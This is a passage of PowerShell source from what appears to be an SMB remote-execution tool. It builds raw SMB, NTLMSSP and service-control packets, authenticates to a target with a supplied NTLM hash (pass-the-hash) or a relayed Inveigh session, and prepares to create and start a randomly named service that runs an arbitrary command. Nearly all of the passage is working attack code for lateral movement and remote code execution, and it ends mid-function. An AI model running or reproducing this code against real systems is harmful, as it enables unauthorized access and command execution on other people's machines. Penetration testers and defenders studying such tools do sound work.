$RPCBind.Add("Unknown",[Byte[]](0x00,0x00,0x00)) - $RPCBind.Add("ContextID",$ContextID) - $RPCBind.Add("NumTransItems",[Byte[]](0x01)) - $RPCBind.Add("Unknown2",[Byte[]](0x00)) - $RPCBind.Add("Interface",$UUID) - $RPCBind.Add("InterfaceVer",$UUIDVersion) - $RPCBind.Add("InterfaceVerMinor",[Byte[]](0x00,0x00)) - $RPCBind.Add("TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) - $RPCBind.Add("TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) - - if($NumCtxItems[0] -eq 2) - { - $RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) - $RPCBind.Add("NumTransItems2",[Byte[]](0x01)) - $RPCBind.Add("Unknown3",[Byte[]](0x00)) - $RPCBind.Add("Interface2",$UUID) - $RPCBind.Add("InterfaceVer2",$UUIDVersion) - $RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) - $RPCBind.Add("TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) - } - elseif($NumCtxItems[0] -eq 3) - { - $RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) - $RPCBind.Add("NumTransItems2",[Byte[]](0x01)) - $RPCBind.Add("Unknown3",[Byte[]](0x00)) - $RPCBind.Add("Interface2",$UUID) - $RPCBind.Add("InterfaceVer2",$UUIDVersion) - $RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) - $RPCBind.Add("TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36)) - $RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) - $RPCBind.Add("ContextID3",[Byte[]](0x02,0x00)) - $RPCBind.Add("NumTransItems3",[Byte[]](0x01)) - $RPCBind.Add("Unknown4",[Byte[]](0x00)) - $RPCBind.Add("Interface3",$UUID) - $RPCBind.Add("InterfaceVer3",$UUIDVersion) - $RPCBind.Add("InterfaceVerMinor3",[Byte[]](0x00,0x00)) - $RPCBind.Add("TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $RPCBind.Add("TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00)) - } - - if($call_ID -eq 3) - { - $RPCBind.Add("AuthType",[Byte[]](0x0a)) - $RPCBind.Add("AuthLevel",[Byte[]](0x02)) - $RPCBind.Add("AuthPadLength",[Byte[]](0x00)) - $RPCBind.Add("AuthReserved",[Byte[]](0x00)) - $RPCBind.Add("ContextID3",[Byte[]](0x00,0x00,0x00,0x00)) - $RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) - $RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) - $RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) - $RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) - } - - return $RPCBind -} - -function New-PacketRPCRequest -{ - param([Byte[]]$Flags,[Int]$ServiceLength,[Int]$AuthLength,[Int]$AuthPadding,[Byte[]]$CallID,[Byte[]]$ContextID,[Byte[]]$Opnum,[Byte[]]$Data) - - if($AuthLength -gt 0) - { - $full_auth_length = $AuthLength + $AuthPadding + 8 - } - - [Byte[]]$write_length = [System.BitConverter]::GetBytes($ServiceLength + 24 + $full_auth_length + $Data.Length) - [Byte[]]$frag_length = $write_length[0,1] - [Byte[]]$alloc_hint = [System.BitConverter]::GetBytes($ServiceLength + $Data.Length) - [Byte[]]$auth_length = ([System.BitConverter]::GetBytes($AuthLength))[0,1] - - $RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary - $RPCRequest.Add("Version",[Byte[]](0x05)) - $RPCRequest.Add("VersionMinor",[Byte[]](0x00)) - $RPCRequest.Add("PacketType",[Byte[]](0x00)) - $RPCRequest.Add("PacketFlags",$Flags) - $RPCRequest.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) - $RPCRequest.Add("FragLength",$frag_length) - $RPCRequest.Add("AuthLength",$auth_length) - $RPCRequest.Add("CallID",$CallID) - $RPCRequest.Add("AllocHint",$alloc_hint) - $RPCRequest.Add("ContextID",$ContextID) - $RPCRequest.Add("Opnum",$Opnum) - - if($data.Length) - { - $RPCRequest.Add("Data",$Data) - } - - return $RPCRequest -} - -#SCM - -function New-PacketSCMOpenSCManagerW -{ - param ([Byte[]]$packet_service,[Byte[]]$packet_service_length) - - [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service.Length + 92) - [Byte[]]$packet_frag_length = $packet_write_length[0,1] - [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service.Length + 68) - $packet_referent_ID1 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $packet_referent_ID1 = $packet_referent_ID1.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $packet_referent_ID1 += 0x00,0x00 - $packet_referent_ID2 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $packet_referent_ID2 = $packet_referent_ID2.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $packet_referent_ID2 += 0x00,0x00 - - $packet_SCMOpenSCManagerW = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SCMOpenSCManagerW.Add("MachineName_ReferentID",$packet_referent_ID1) - $packet_SCMOpenSCManagerW.Add("MachineName_MaxCount",$packet_service_length) - $packet_SCMOpenSCManagerW.Add("MachineName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMOpenSCManagerW.Add("MachineName_ActualCount",$packet_service_length) - $packet_SCMOpenSCManagerW.Add("MachineName",$packet_service) - $packet_SCMOpenSCManagerW.Add("Database_ReferentID",$packet_referent_ID2) - $packet_SCMOpenSCManagerW.Add("Database_NameMaxCount",[Byte[]](0x0f,0x00,0x00,0x00)) - $packet_SCMOpenSCManagerW.Add("Database_NameOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMOpenSCManagerW.Add("Database_NameActualCount",[Byte[]](0x0f,0x00,0x00,0x00)) - $packet_SCMOpenSCManagerW.Add("Database",[Byte[]](0x53,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x41,0x00,0x63,0x00,0x74,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x00,0x00)) - $packet_SCMOpenSCManagerW.Add("Unknown",[Byte[]](0xbf,0xbf)) - $packet_SCMOpenSCManagerW.Add("AccessMask",[Byte[]](0x3f,0x00,0x00,0x00)) - - return $packet_SCMOpenSCManagerW -} - -function New-PacketSCMCreateServiceW -{ - param([Byte[]]$ContextHandle,[Byte[]]$Service,[Byte[]]$ServiceLength,[Byte[]]$Command,[Byte[]]$CommandLength) - - $referent_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $referent_ID = $referent_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $referent_ID += 0x00,0x00 - - $SCMCreateServiceW = New-Object System.Collections.Specialized.OrderedDictionary - $SCMCreateServiceW.Add("ContextHandle",$ContextHandle) - $SCMCreateServiceW.Add("ServiceName_MaxCount",$ServiceLength) - $SCMCreateServiceW.Add("ServiceName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $SCMCreateServiceW.Add("ServiceName_ActualCount",$ServiceLength) - $SCMCreateServiceW.Add("ServiceName",$Service) - $SCMCreateServiceW.Add("DisplayName_ReferentID",$referent_ID) - $SCMCreateServiceW.Add("DisplayName_MaxCount",$ServiceLength) - $SCMCreateServiceW.Add("DisplayName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $SCMCreateServiceW.Add("DisplayName_ActualCount",$ServiceLength) - $SCMCreateServiceW.Add("DisplayName",$Service) - $SCMCreateServiceW.Add("AccessMask",[Byte[]](0xff,0x01,0x0f,0x00)) - $SCMCreateServiceW.Add("ServiceType",[Byte[]](0x10,0x00,0x00,0x00)) - $SCMCreateServiceW.Add("ServiceStartType",[Byte[]](0x03,0x00,0x00,0x00)) - $SCMCreateServiceW.Add("ServiceErrorControl",[Byte[]](0x00,0x00,0x00,0x00)) - $SCMCreateServiceW.Add("BinaryPathName_MaxCount",$CommandLength) - $SCMCreateServiceW.Add("BinaryPathName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $SCMCreateServiceW.Add("BinaryPathName_ActualCount",$CommandLength) - $SCMCreateServiceW.Add("BinaryPathName",$Command) - $SCMCreateServiceW.Add("NULLPointer",[Byte[]](0x00,0x00,0x00,0x00)) - $SCMCreateServiceW.Add("TagID",[Byte[]](0x00,0x00,0x00,0x00)) - $SCMCreateServiceW.Add("NULLPointer2",[Byte[]](0x00,0x00,0x00,0x00)) - $SCMCreateServiceW.Add("DependSize",[Byte[]](0x00,0x00,0x00,0x00)) - $SCMCreateServiceW.Add("NULLPointer3",[Byte[]](0x00,0x00,0x00,0x00)) - $SCMCreateServiceW.Add("NULLPointer4",[Byte[]](0x00,0x00,0x00,0x00)) - $SCMCreateServiceW.Add("PasswordSize",[Byte[]](0x00,0x00,0x00,0x00)) - - return $SCMCreateServiceW -} - -function New-PacketSCMStartServiceW -{ - param([Byte[]]$ContextHandle) - - $SCMStartServiceW = New-Object System.Collections.Specialized.OrderedDictionary - $SCMStartServiceW.Add("ContextHandle",$ContextHandle) - $SCMStartServiceW.Add("Unknown",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - - return $SCMStartServiceW -} - -function New-PacketSCMDeleteServiceW -{ - param([Byte[]]$ContextHandle) - - $SCMDeleteServiceW = New-Object System.Collections.Specialized.OrderedDictionary - $SCMDeleteServiceW.Add("ContextHandle",$ContextHandle) - - return $SCMDeleteServiceW -} - -function New-PacketSCMCloseServiceHandle -{ - param([Byte[]]$ContextHandle) - - $SCM_CloseServiceW = New-Object System.Collections.Specialized.OrderedDictionary - $SCM_CloseServiceW.Add("ContextHandle",$ContextHandle) - - return $SCM_CloseServiceW -} - -function DataLength2 -{ - param ([Int]$length_start,[Byte[]]$string_extract_data) - - $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) - - return $string_length -} - -if($hash -like "*:*") -{ - $hash = $hash.SubString(($hash.IndexOf(":") + 1),32) -} - -if($Domain) -{ - $output_username = $Domain + "\" + $Username -} -else -{ - $output_username = $Username -} - -if($PSBoundParameters.ContainsKey('Session')) -{ - $inveigh_session = $true -} - -if($PSBoundParameters.ContainsKey('Session')) -{ - - if(!$Inveigh) - { - Write-Output "[-] Inveigh Relay session not found" - $startup_error = $true - } - elseif(!$inveigh.session_socket_table[$session].Connected) - { - Write-Output "[-] Inveigh Relay session not connected" - $startup_error = $true - } - - $Target = $inveigh.session_socket_table[$session].Client.RemoteEndpoint.Address.IPaddressToString -} - -$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id -$process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) -[Byte[]]$process_ID = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - -if(!$inveigh_session) -{ - $SMB_client = New-Object System.Net.Sockets.TCPClient - $SMB_client.Client.ReceiveTimeout = 60000 -} - -if(!$startup_error -and !$inveigh_session) -{ - - try - { - $SMB_client.Connect($Target,"445") - } - catch - { - Write-Output "$Target did not respond" - } - -} - -if($SMB_client.Connected -or (!$startup_error -and $inveigh.session_socket_table[$session].Connected)) -{ - $SMB_client_receive = New-Object System.Byte[] 1024 - - if(!$inveigh_session) - { - $SMB_client_stream = $SMB_client.GetStream() - $SMB_client_stage = 'NegotiateSMB' - - while($SMB_client_stage -ne 'exit') - { - - switch ($SMB_client_stage) - { - - 'NegotiateSMB' - { - $packet_SMB_header = New-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID 0x00,0x00 - $packet_SMB_data = New-PacketSMBNegotiateProtocolRequest $SMB_version - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if([System.BitConverter]::ToString($SMB_client_receive[4..7]) -eq 'ff-53-4d-42') - { - $SMB_version = 'SMB1' - $SMB_client_stage = 'NTLMSSPNegotiate' - - if([System.BitConverter]::ToString($SMB_client_receive[39]) -eq '0f') - { - - if($SigningCheck) - { - Write-Output "SMB signing is required" - $SMB_client_stage = 'exit' - } - else - { - Write-Verbose "SMB signing is required" - $SMB_signing = $true - $SMB_session_key_length = 0x00,0x00 - $SMB_negotiate_flags = 0x15,0x82,0x08,0xa0 - } - - } - else - { - - if($SigningCheck) - { - Write-Output "SMB signing is not required" - $SMB_client_stage = 'exit' - } - else - { - $SMB_signing = $false - $SMB_session_key_length = 0x00,0x00 - $SMB_negotiate_flags = 0x05,0x82,0x08,0xa0 - } - - } - - } - else - { - $SMB_client_stage = 'NegotiateSMB2' - - if([System.BitConverter]::ToString($SMB_client_receive[70]) -eq '03') - { - - if($SigningCheck) - { - Write-Output "SMB signing is required" - $SMB_client_stage = 'exit' - } - else - { - Write-Verbose "SMB signing is required" - $SMB_signing = $true - $SMB_session_key_length = 0x00,0x00 - $SMB_negotiate_flags = 0x15,0x82,0x08,0xa0 - } - - } - else - { - - if($SigningCheck) - { - Write-Output "SMB signing is not required" - $SMB_client_stage = 'exit' - } - else - { - $SMB_signing = $false - $SMB_session_key_length = 0x00,0x00 - $SMB_negotiate_flags = 0x05,0x80,0x08,0xa0 - } - - } - - } - - } - - 'NegotiateSMB2' - { - $tree_ID = 0x00,0x00,0x00,0x00 - $session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - $message_ID = 1 - $packet_SMB2_header = New-PacketSMB2Header 0x00,0x00 0x00,0x00 $false $message_ID $process_ID $tree_ID $session_ID - $packet_SMB2_data = New-PacketSMB2NegotiateProtocolRequest - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'NTLMSSPNegotiate' - } - - 'NTLMSSPNegotiate' - { - - if($SMB_version -eq 'SMB1') - { - $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID 0x00,0x00 - - if($SMB_signing) - { - $packet_SMB_header["Flags2"] = 0x05,0x48 - } - - $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $SMB_negotiate_flags - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate - $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - } - else - { - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 0x1f,0x00 $false $message_ID $process_ID $tree_ID $session_ID - $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $SMB_negotiate_flags - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate - $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - } - - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'exit' - } - - } - - } - - if(!$SigningCheck) - { - $SMB_NTLMSSP = [System.BitConverter]::ToString($SMB_client_receive) - $SMB_NTLMSSP = $SMB_NTLMSSP -replace "-","" - $SMB_NTLMSSP_index = $SMB_NTLMSSP.IndexOf("4E544C4D53535000") - $SMB_NTLMSSP_bytes_index = $SMB_NTLMSSP_index / 2 - $SMB_domain_length = DataLength2 ($SMB_NTLMSSP_bytes_index + 12) $SMB_client_receive - $SMB_target_length = DataLength2 ($SMB_NTLMSSP_bytes_index + 40) $SMB_client_receive - $session_ID = $SMB_client_receive[44..51] - $SMB_NTLM_challenge = $SMB_client_receive[($SMB_NTLMSSP_bytes_index + 24)..($SMB_NTLMSSP_bytes_index + 31)] - $SMB_target_details = $SMB_client_receive[($SMB_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] - $SMB_target_time_bytes = $SMB_target_details[($SMB_target_details.Length - 12)..($SMB_target_details.Length - 5)] - $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" - $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $auth_hostname = (Get-ChildItem -path env:computername).Value - $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) - $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain) - $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) - $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) - $auth_domain_length = $auth_domain_length[0,1] - $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) - $auth_domain_length = $auth_domain_length[0,1] - $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length) - $auth_username_length = $auth_username_length[0,1] - $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length) - $auth_hostname_length = $auth_hostname_length[0,1] - $auth_domain_offset = 0x40,0x00,0x00,0x00 - $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) - $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) - $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64) - $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88) - $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5 - $HMAC_MD5.key = $NTLM_hash_bytes - $username_and_target = $username.ToUpper() - $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target) - $username_and_target_bytes += $auth_domain_bytes - $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes) - $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - - $security_blob_bytes = 0x01,0x01,0x00,0x00, - 0x00,0x00,0x00,0x00 + - $SMB_target_time_bytes + - $client_challenge_bytes + - 0x00,0x00,0x00,0x00 + - $SMB_target_details + - 0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00 - - $server_challenge_and_security_blob_bytes = $SMB_NTLM_challenge + $security_blob_bytes - $HMAC_MD5.key = $NTLMv2_hash - $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) - - if($SMB_signing) - { - $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) - $session_key = $session_base_key - $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256 - $HMAC_SHA256.key = $session_key - } - - $NTLMv2_response = $NTLMv2_response + $security_blob_bytes - $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length) - $NTLMv2_response_length = $NTLMv2_response_length[0,1] - $SMB_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) - - $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00, - 0x03,0x00,0x00,0x00, - 0x18,0x00, - 0x18,0x00 + - $auth_LM_offset + - $NTLMv2_response_length + - $NTLMv2_response_length + - $auth_NTLM_offset + - $auth_domain_length + - $auth_domain_length + - $auth_domain_offset + - $auth_username_length + - $auth_username_length + - $auth_username_offset + - $auth_hostname_length + - $auth_hostname_length + - $auth_hostname_offset + - $SMB_session_key_length + - $SMB_session_key_length + - $SMB_session_key_offset + - $SMB_negotiate_flags + - $auth_domain_bytes + - $auth_username_bytes + - $auth_hostname_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + - $NTLMv2_response - - if($SMB_version -eq 'SMB1') - { - $SMB_user_ID = $SMB_client_receive[32,33] - $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID $SMB_user_ID - - if($SMB_signing) - { - $packet_SMB_header["Flags2"] = 0x05,0x48 - } - - $packet_SMB_header["UserID"] = $SMB_user_ID - $packet_NTLMSSP_negotiate = New-PacketNTLMSSPAuth $NTLMSSP_response - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate - $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - } - else - { - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 0x01,0x00 $false $message_ID $process_ID $tree_ID $session_ID - $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $NTLMSSP_response - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth - $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_auth - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - } - - try - { - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if($SMB_version -eq 'SMB1') - { - - if([System.BitConverter]::ToString($SMB_client_receive[9..12]) -eq '00-00-00-00') - { - Write-Verbose "$output_username successfully authenticated on $Target" - $login_successful = $true - } - else - { - Write-Output "$output_username failed to authenticate on $Target" - $login_successful = $false - } - - } - else - { - if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -eq '00-00-00-00') - { - Write-Verbose "$output_username successfully authenticated on $Target" - $login_successful = $true - } - else - { - Write-Output "$output_username failed to authenticate on $Target" - $login_successful = $false - } - - } - - } - catch - { - $error_message = $_.Exception.Message - $error_message = $error_message -replace "`n","" - Write-Output "[-] $error_message" - } - - } - - } - - if($login_successful -or $inveigh_session) - { - - if($inveigh_session) - { - - if($inveigh_session -and $inveigh.session_lock_table[$session] -eq 'locked') - { - Write-Output "[*] Pausing due to Inveigh Relay session lock" - Start-Sleep -s 2 - } - - $inveigh.session_lock_table[$session] = 'locked' - $SMB_client = $inveigh.session_socket_table[$session] - $SMB_client_stream = $SMB_client.GetStream() - $session_ID = $inveigh.session_table[$session] - $message_ID = $inveigh.session_message_ID_table[$session] - $tree_ID = 0x00,0x00,0x00,0x00 - $SMB_signing = $false - } - - $SMB_path = "\\" + $Target + "\IPC$" - - if($SMB_version -eq 'SMB1') - { - $SMB_path_bytes = [System.Text.Encoding]::UTF8.GetBytes($SMB_path) + 0x00 - } - else - { - $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) - } - - $named_pipe_UUID = 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03 - - if(!$Service) - { - $SMB_service_random = [String]::Join("00-",(1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) - $SMB_service = $SMB_service_random -replace "-00","" - $SMB_service = $SMB_service.Substring(0,$SMB_service.Length - 1) - $SMB_service = $SMB_service.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) - $SMB_service_random += '00-00-00-00-00' - $SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - } - else - { - $SMB_service = $Service - $SMB_service_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_service) - - if([Bool]($SMB_service.Length % 2)) - { - $SMB_service_bytes += 0x00,0x00 - } - else - { - $SMB_service_bytes += 0x00,0x00,0x00,0x00 - - } - - } - - $SMB_service_length = [System.BitConverter]::GetBytes($SMB_service.Length + 1) - - if($CommandCOMSPEC -eq 'Y') - { - $Command = "%COMSPEC% /C `"" + $Command + "`"" - } - else - { - $Command = "`"" + $Command + "`"" - } - - [System.Text.Encoding]::UTF8.GetBytes($Command) | ForEach-Object{$SMBExec_command += "{0:X2}-00-" -f $_} - - if([Bool]($Command.Length % 2)) - { - $SMBExec_command += '00-00' - } - else - { - $SMBExec_command += '00-00-00-00' - } - - $SMBExec_command_bytes = $SMBExec_command.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMBExec_command_length_bytes = [System.BitConverter]::GetBytes($SMBExec_command_bytes.Length / 2) - $SMB_split_index = 4256 - - if($SMB_version -eq 'SMB1') - { - $SMB_client_stage = 'TreeConnectAndXRequest' - - :SMB_execute_loop while ($SMB_client_stage -ne 'exit') - { - - switch ($SMB_client_stage) - { - - 'TreeConnectAndXRequest' - { - $packet_SMB_header = New-PacketSMBHeader 0x75 0x18 0x01,0x48 0xff,0xff $process_ID $SMB_user_ID - - if($SMB_signing) - { - $MD5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider - $packet_SMB_header["Flags2"] = 0x05,0x48 - $SMB_signing_counter = 2 - [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["Signature"] = $SMB_signing_sequence - } - - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = New-PacketSMBTreeConnectAndXRequest $SMB_path_bytes - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $session_key + $SMB_header + $SMB_data - $SMB_signature = $MD5.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..7] - 